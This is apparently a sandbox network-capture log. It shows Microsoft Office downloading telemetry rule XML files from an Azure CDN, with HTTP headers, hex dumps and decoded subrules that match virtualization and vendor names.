20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:22 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 3fc8ca9f-401e-0083-6c91-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221122Z-174f7845968psccphC1EWRuz9s00000010qg00000000m98k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:23 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:22 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:23 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 83b34a83-b01e-0053-35ab-42cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221122Z-174f78459684db9fhC1EWRc7g400000000fg000000003127 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-29 22:11:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:22 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 261fcd2e-101e-005a-5345-40882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221122Z-174f7845968j6t2phC1EWRcfe800000010tg000000000zxs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:24 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: dcf51672-d01e-005a-5c91-3f7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221124Z-174f78459688l8rvhC1EWRtzr00000000d3000000000e2p8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:24 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: a521520d-601e-003d-19f6-416f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221124Z-174f7845968vqt9xhC1EWRgten00000010g000000000gty7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:24 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: abb27c18-501e-008f-0aee-419054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221124Z-174f7845968n2hr8hC1EWR9cag0000001070000000006kq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:24 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 7af319f3-d01e-0017-6a91-3fb035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221125Z-174f7845968j6t2phC1EWRcfe800000010kg00000000mq46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:24 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:25 UTC	471	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:25 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: c5359d4f-401e-0035-67ab-4282d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221125Z-174f784596886s2bhC1EWR743w00000010pg000000001qea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-29 22:11:25 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:26 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221126Z-174f7845968n2hr8hC1EWR9cag000000101g00000000qb6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:27 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:26 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 3ccb05f8-401e-0016-1b69-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221127Z-174f7845968kdththC1EWRzvxn0000000cxg000000007d9w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:27 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221127Z-174f7845968kvnqxhC1EWRmf3g0000000m9000000000fqg9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 22:11:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 22:11:27 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 22:11:27 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 22:11:27 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: d02045fe-401e-0064-2d26-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T221127Z-174f7845968qj8jrhC1EWRh41s00000010kg0000000012a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
